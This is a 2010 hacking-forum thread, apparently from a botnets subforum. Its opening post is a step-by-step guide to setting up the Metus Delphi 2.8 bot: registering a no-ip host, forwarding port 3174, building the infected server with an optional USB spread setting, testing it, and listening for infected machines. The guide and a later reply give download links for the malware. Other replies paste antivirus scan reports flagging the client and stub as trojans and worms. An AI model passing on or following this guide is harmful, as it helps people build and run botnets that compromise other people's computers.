+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Botnets and Botting (https://hackforums.net/forumdisplay.php?fid=92)
+---- Thread: [TuT] Metus Delphi 2.8 Setup Guide [TuT] (/showthread.php?tid=223438)
[TuT] Metus Delphi 2.8 Setup Guide [TuT] - Coca Cola - Jan 4, 2010
Hello. Back when i was new to hostbooting i always needed help, so here i am giving some help to others who are new.
Lets get started, First of all you need the download link for the Metus Delphi 2.8
Downloads:
Metus Delphi 2.8 - http://www.multiupload.com/6ESL9EHJU3
Sandboxie - http://www.sandboxie.com/index.php?DownloadSandboxie
1st Step - Creating No-ip
First go to no-ip.com
Create an account.
Login to the account.
Click create a host.
Enter 3 random digits or numbers for your no-ip and select .info
2nd - Opening Ports.
Metus Delphi usually runs on the port 3174.
Go to your command prompt - Type cmd in run.
Once the cmd has opened type ipconfig /all.
There will be a list of ip's, the one you need will begin 192.
Enter this ip into your web browser, this will open your router settings, go to applications. Select to add a new application, name it what ever you like.
For the Protocol Select Both.
Enter 3174 for Start and End.
Enter the last 3 digits from the ip you recieve from the cmd, e.g the ip 192.168.1.582.
To now check that the port is open go to www.canyouseeme.org and enter the port 3174, if it doesnt show the port open you may need to disable firewall to allow it.
3rd - Creating the bot
Open Metus Delphi 2.8
Select Server Builder and fill in the boxes.
Profile - Can be anything.
Port - The port you opened to run it on, in this case 3174.
Host - Your no-ip account you created in step 1, e.g 8e3.no-ip.info
Password - Optional, but not really needed.
Server ID - Can be anything.
Startup EXE - Leave this. Dont change
Mutex - Do not change it will change on its own.
Enable or Disable USB spread, Enabling USB spread can make the bot less stable. Then click build. You must ensure that in the file with Metus Delphi 2.8 client you have the stub.exe.
Once built it should appear in the folder with the stub.exe and client.
4th - Testing the bot.
Download sandbox - Download at top.
Right click on the built file and their should be and option to "run sandboxed" select this.
Right click in the middle of the Metus Delphi client and click "listen" enter the port you are using, in this case 3174. The bot should then appear.
This tutorial has been created by me, i hope this helps, if you have anything i need to add in please dont hesitate to tell me.Thanks.
Coca Cola
* - ToLeGiT - Jan 4, 2010
Already more than 3 tutorials for this.
* - Drafted - Jan 4, 2010
Nice Guide, +rep
2 shoooort
* - Example - Jan 4, 2010
Yes, I believe there is like 5 tutorials like this. Isn't Metus one of the least stable bots? I don't see any X-R tutorials...
* - Coca Cola - Jan 4, 2010
(Jan 4, 2010 01:48 PM)Mikieo Wrote: Nice Guide, +rep
2 shoooort
Thanks mate :)
And one more tutorial never hurt anyone.
* - Ðҿ†σx - Jan 4, 2010
Well you are right.. one more tutorial wont hunt anyone. But what he mean is those others may be better than yours. So you should look around first before posting a tutorial.. But anyway, good work and good luck =)
* - Coca Cola - Jan 5, 2010
(Jan 4, 2010 03:46 PM)Denne Wrote: Well you are right.. one more tutorial wont hunt anyone. But what he mean is those others may be better than yours. So you should look around first before posting a tutorial.. But anyway, good work and good luck =)
Ok il try update the guide later, add pictures ect.
* - Coca Cola - Jan 5, 2010
Just to say if you guys have anything for me to add just reply or pm me, thanks.x
* - KryPyro - Jan 5, 2010
Nice tutorial. There may be other ones but this is pretty straight forward.
* - HF Amp - Jan 5, 2010
i need help the bot dose not appear for me
* - Coca Cola - Jan 5, 2010
(Jan 5, 2010 11:23 AM)KryPyro Wrote: Nice tutorial. There may be other ones but this is pretty straight forward.
thanks :)
* - NeTworK ExploiT - Jan 5, 2010
you should put scan links, users are easily fooled by the guided tut so they just go ahead and dload. u have 29 posts. at least put brent's link
* - ToLeGiT - Jan 5, 2010
(Jan 5, 2010 08:25 PM)NeTworK ExploiT Wrote: you should put scan links, users are easily fooled by the guided tut so they just go ahead and dload. u have 29 posts. at least put brent's link
MeTuS Delphi 2.8 Client from here
File Info
Report generated: 6.1.2010 at 4.33.20 (GMT 1)
Filename: MeTuS_Delphi.exe
File size: 1881600 bytes
MD5 hash: 76e1605d0d20771788be1a370338f3cb
SHA1 hash: 9C302158E69334A5B7DEA76D63054C63C37A893A
Detection rate: 18 on 24
Status: INFECTED
Detections
a-squared - Trojan.Win32.Agent!IK
Avira AntiVir - TR/Agent.crml
Avast - Win32:Malware-gen
AVG - Agent2.OQT
BitDefender - Trojan.Generic.2561852
ClamAV - Trojan.Agent-119661
Comodo - -
Dr.Web - Trojan.Siggen.4796
Ewido - -
F-PROT6 - W32/Trojan2.IOTM
G-Data - Trojan.Win32.Agent.cppg A
Ikarus T3 - Trojan.Win32.Agent
Kaspersky - Trojan.Win32.Agent.cppg
McAfee - Generic.dx!ffy trojan
NOD32 v3 - Win32/Agent
Norman - Trojan W32/Agent.OYZV
Panda - -
QuickHeal - Trojan.Agent.cppg
Solo Antivirus - Trojan.Win32.Agent.Cppg
Sophos - -
TrendMicro - -
VBA32 - Trojan.Win32.Agent.cppg
VirusBuster - Trojan.Agent.NMGG
ZonerAntivirus - -
Scan report generated by
NoVirusThanks.org
This is the Stub from here.
File Info
Report generated: 6.1.2010 at 4.33.19 (GMT 1)
Filename: stub.exe
File size: 143872 bytes
MD5 hash: 81bcc564d695487895a58b74b9208a54
SHA1 hash: E1A8E8F83F5CBEAE5621D2895B0A9AACC0A043EB
Detection rate: 20 on 24
Status: INFECTED
Detections
a-squared - Backdoor.Dewnad!IK
Avira AntiVir - TR/ATRAPS.Gen
Avast - Win32:Trojan-gen
AVG - BackDoor.Delf.CSD
BitDefender - Trojan.Generic.IS.530876
ClamAV - Worm.Autorun-2108
Comodo - Worm.Win32.Delf.~BH
Dr.Web - Win32.HLLW.Autoruner.7402
Ewido - -
F-PROT6 - W32/Worm.AOHA
G-Data - Worm.Win32.AutoRun.akck A
Ikarus T3 - Backdoor.Dewnad
Kaspersky - Worm.Win32.AutoRun.akck
McAfee - W32/Autorun.worm.aae virus
NOD32 v3 - Win32/AutoRun.Delf.CC worm
Norman - -
Panda - Generic Malware
QuickHeal - Worm.AutoRun.akck
Solo Antivirus - Worm/Win32.AutoRun.Akck
Sophos - Mal/Generic-D
TrendMicro - -
VBA32 - Worm.Win32.AutoRun.anuf
VirusBuster - Worm.AutoRun.RVJ
ZonerAntivirus - -
Scan report generated by
NoVirusThanks.org
* - Coca Cola - Jan 6, 2010
(Jan 5, 2010 08:35 PM)epicwin Wrote: MeTuS Delphi 2.8 Client from here
File Info
Report generated: 6.1.2010 at 4.33.20 (GMT 1)
Filename: MeTuS_Delphi.exe
File size: 1881600 bytes
MD5 hash: 76e1605d0d20771788be1a370338f3cb
SHA1 hash: 9C302158E69334A5B7DEA76D63054C63C37A893A
Detection rate: 18 on 24
Status: INFECTED
Detections
a-squared - Trojan.Win32.Agent!IK
Avira AntiVir - TR/Agent.crml
Avast - Win32:Malware-gen
AVG - Agent2.OQT
BitDefender - Trojan.Generic.2561852
ClamAV - Trojan.Agent-119661
Comodo - -
Dr.Web - Trojan.Siggen.4796
Ewido - -
F-PROT6 - W32/Trojan2.IOTM
G-Data - Trojan.Win32.Agent.cppg A
Ikarus T3 - Trojan.Win32.Agent
Kaspersky - Trojan.Win32.Agent.cppg
McAfee - Generic.dx!ffy trojan
NOD32 v3 - Win32/Agent
Norman - Trojan W32/Agent.OYZV
Panda - -
QuickHeal - Trojan.Agent.cppg
Solo Antivirus - Trojan.Win32.Agent.Cppg
Sophos - -
TrendMicro - -
VBA32 - Trojan.Win32.Agent.cppg
VirusBuster - Trojan.Agent.NMGG
ZonerAntivirus - -
Scan report generated by
NoVirusThanks.org
This is the Stub from here.
File Info
Report generated: 6.1.2010 at 4.33.19 (GMT 1)
Filename: stub.exe
File size: 143872 bytes
MD5 hash: 81bcc564d695487895a58b74b9208a54
SHA1 hash: E1A8E8F83F5CBEAE5621D2895B0A9AACC0A043EB
Detection rate: 20 on 24
Status: INFECTED
Detections
a-squared - Backdoor.Dewnad!IK
Avira AntiVir - TR/ATRAPS.Gen
Avast - Win32:Trojan-gen
AVG - BackDoor.Delf.CSD
BitDefender - Trojan.Generic.IS.530876
ClamAV - Worm.Autorun-2108
Comodo - Worm.Win32.Delf.~BH
Dr.Web - Win32.HLLW.Autoruner.7402
Ewido - -
F-PROT6 - W32/Worm.AOHA
G-Data - Worm.Win32.AutoRun.akck A
Ikarus T3 - Backdoor.Dewnad
Kaspersky - Worm.Win32.AutoRun.akck
McAfee - W32/Autorun.worm.aae virus
NOD32 v3 - Win32/AutoRun.Delf.CC worm
Norman - -
Panda - Generic Malware
QuickHeal - Worm.AutoRun.akck
Solo Antivirus - Worm/Win32.AutoRun.Akck
Sophos - Mal/Generic-D
TrendMicro - -
VBA32 - Worm.Win32.AutoRun.anuf
VirusBuster - Worm.AutoRun.RVJ
ZonerAntivirus - -
Scan report generated by
NoVirusThanks.org
i copied links from another metus delphi tutorial, il replace with brents.
Cant edit post, heres download link copied from brent's tutorial.
http://brent328.110mb.com/MeTuS-Delphi-2.8.zip
* - BaNNED - Jan 6, 2010
i can't read . Please remove black font color .